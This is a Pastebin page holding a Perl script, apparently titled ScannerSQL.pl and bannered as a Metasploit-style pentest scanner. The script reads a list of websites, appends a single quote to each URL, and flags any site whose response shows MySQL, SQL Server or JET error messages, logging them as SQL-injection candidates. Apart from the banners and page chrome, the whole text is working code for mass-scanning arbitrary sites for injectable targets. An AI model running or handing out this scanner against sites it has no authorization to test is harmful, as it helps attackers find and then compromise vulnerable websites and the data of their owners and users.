Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use LWP::UserAgent;
- use HTTP::Request;
- use LWP::Simple;
- $sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }
- system("$cmd");
- if (!$ARGV[0]) {
- $sis="$^O";if ($sis eq linux){ $cmd="clear";} else { $cmd="cls"; }
- system("$cmd");
- my @bannerzinho = (0,100..200);
- my $variavelbanner = $bannerzinho[int rand @bannerzinho];
- if ($variavelbanner % 2 == 0) {
- &bannerUm();
- exit;
- }
- else {
- &bannerDois();
- exit;
- }
- }
- &bannerDois();
- print q {
- [+] Scaneando WebSite...
- };
- open( SITE, "< $ARGV[0]" ) or die( "Nao foi possรญvel abrir o arquivo: $!" );
- our @array = <SITE>;
- $numero = $#array;
- for ($i = 0; $i <= $numero; $i++) {
- $Dominio = "$array[$i]";
- if($Dominio !~ /http:\/\//) { $Dominio = "http://$Dominio"; }
- $cmd = "'";
- $site = "$Dominio$cmd";
- my $req=HTTP::Request->new(GET=>$site);
- my $ua=LWP::UserAgent->new();
- $ua->timeout(15);
- my $resposta=$ua->request($req);
- if($resposta->content =~ /You have an error in your SQL syntax/ ||
- $resposta->content =~ /MySQL server version/ ||
- $resposta->content =~ /Syntax error converting the nvarchar value/ ||
- $resposta->content =~ /Unclosed/ ||
- $resposta->content =~ /SQL Server error/ ||
- $resposta->content =~ /JET/) {
- print "\n \t $Dominio \n";
- open (NOTEPAD, ">> SqlInjection.txt");
- print NOTEPAD "$site\n";
- close(NOTEPAD);
- }
- }
- print q {
- [+] FIM !
- };
- sub bannerUm {
- print q {
- _______________________
- < Hello !! Welcome !! >
- -----------------------
- \ ,__,
- \ (oo)____
- (__) )\
- ||--|| *
- | | _) |
- __ `__ \ _ \ __| _` | __| __ \ | _ \ | __|
- | | | __/ | ( |\__ \ | | | ( | | |
- _| _| _|\___|\__|\__,_|____/ .__/ _|\___/ _|\__|
- _| Scanner v 1.0
- [*] Modo de uso: perl ScannerSQL.pl lista.txt
- [+] Scanner Pentest Hacking
- };
- }
- sub bannerDois {
- print q {
- _ _
- _ | | (_)_
- ____ ____| |_ ____ ___ ____ | | ___ _| |_
- | \ / _ ) _)/ _ |/___) _ \| |/ _ \| | _)
- | | | ( (/ /| |_( ( | |___ | | | | | |_| | | |__
- |_|_|_|\____)\___)_||_(___/| ||_/|_|\___/|_|\___)
- |_| Scanner v 1.0
- [*] Modo de uso: perl ScannerSQL.pl lista.txt
- [+] Scanner Pentest Hacking
- };
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement